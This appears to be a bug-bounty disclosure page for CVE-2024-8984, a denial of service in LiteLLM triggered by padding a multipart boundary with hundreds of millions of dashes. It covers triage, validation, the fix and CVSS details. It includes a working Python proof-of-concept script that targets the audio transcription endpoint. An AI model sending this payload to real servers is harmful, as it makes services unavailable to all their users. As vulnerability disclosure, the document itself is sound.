

Unauthenticated Denial of Service (DoS) via Multipart Boundary in berriai/litellm

✓ Valid

Reported on Aug 24th 2024

Description

A Denial of Service (DoS) vulnerability was discovered in LiteLLM. This vulnerability can be exploited by appending characters, such as dashes (-), to the end of a multipart boundary in an HTTP request. As a result, the server continuously processes each character, leading to excessive resource consumption and rendering the service unavailable. The issue is completely unauthenticated and does not require any user interaction, impacting all users of the service.

Proof of Concept

- Create poc.py with following content.

```
import requests

num = 500000000
url = "http://localhost:4000/v1/audio/transcriptions"
headers = {
    "Content-Type": "multipart/form-data; boundary=-----28417"
}

# The exact raw payload as specified
data = (
    "-----284178091740602105783377960069\r\n"
    "Content-Disposition: form-data; name=\"uploadFile\"; filename=\"test.txt\"\r\n"
    "Content-Type: text/plain\r\n\r\n"
    "Hello I am test\r\n"
    "-----284178091740602105783377960069--" + '-' * num + "
)

response = requests.post(url, headers=headers, data=data.encode('utf-8'), verify=False)

print(response.status_code)
print(response.text)
```

- Adjust the num value if you want customize the test. e:g 500000000
- Adjust the target host.

- Run, and done. The whole server functionality will be inaccessible.

Impact

- **Server Resource Exhaustion:** Exploiting the vulnerability by appending a large multipart boundary to an HTTP request causes the server to continuously process this boundary. This results in severe resource consumption, which can overwhelm the server.
- **Service Unavailability:** Due to the excessive resource usage, the server becomes unresponsive, rendering the service unavailable to all users.
- **Unauthenticated Access:** The vulnerability is completely unauthenticated, meaning that no prior authentication is required to exploit it.
- **No User Interaction Required:** The issue does not necessitate any user interaction, making it easier to exploit and affecting the entire user base of the service.

⚙️ We are processing your report and will contact the **berriai/litellm** team within 24 hours. a year ago



✎ M Nadeem Qazi modified the report a year ago



huntr-helper commented a year ago

Admin

This report was determined to possibly be out of scope or have a high likelihood of being marked as informative.

Please review your report and the [Participation Guidelines](#).

These are the specific guidelines this report is in possible violation of:

- Vulnerabilities in code used for tests or example purposes.



M Nadeem Qazi commented a year ago

Researcher

Nope, This will work on any realtime hosted server .This is not the example test code.

✉️ We have contacted a member of the **berriai/litellm** team and are waiting to hear back a year ago



Ethan Silvas validated this vulnerability a year ago

Confirmed you can send this request unauthenticated and the server will still try to process it, making the app unusable for all users.

\$ mnqazi has been awarded the disclosure bounty ✓

\$ The fix bounty is now up for grabs

★ The researcher's credibility has increased: +7

 CVE-2024-8984 assigned to this report. a year ago

 We have notified the **berriai/litellm** maintainers about this report in their weekly follow-up a year ago

 We have sent a warning to the **berriai/litellm** team to inform them that this report will be published in 48 hours a year ago

 This vulnerability has now been published a year ago

 CVE-2024-8984 has now been published 10 months ago



 Ishaan Jaff marked this as fixed in **v1.65.4-stable** with commit **4f49f8** 10 months ago

\$ Ishaan Jaff has been awarded the fix bounty 



Ishaan Jaff commented 10 months ago

Maintainer

Confirmed this has been fixed by

<https://github.com/BerriAI/litellm/commit/4f49f836aa844ac9b6bfbfeff27e6f6b2b9cf3f61>

Python multipart now handles this scenario, LiteLLM needed to bump the version of python multipart being used



 A **berriai/litellm** maintainer has acknowledged this report 10 months ago

[Sign in](#) to join this conversation

CVE

CVE-2024-8984

Published

Vulnerability Type

CWE-770: Allocation of Resources Without Limits or Throttling

Severity

High (7.5)

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Unchanged
Confidentiality	None

Integrity
Availability

None
High

[Open in visual CVSS calculator](#) 

Registry

Pypi

Affected Version

v1.44.5

Visibility

Public

Status

Fixed

Disclosure Bounty

\$750

Fix Bounty

\$187.5

Found by



M Nadeem Qazi

@mnqazi

LIGHTWEIGHT



Fixed by



Ishaan Jaff

@ishaan-jaff

UNPROVEN



Supported by [Palo Alto Networks](#) and Prisma AIRS, leading the way to greater AI security.



© 2024

[Privacy Policy](#)

[Terms of Service](#)

[Code of Conduct](#)

[Cookie Preferences](#)

[Contact Us](#)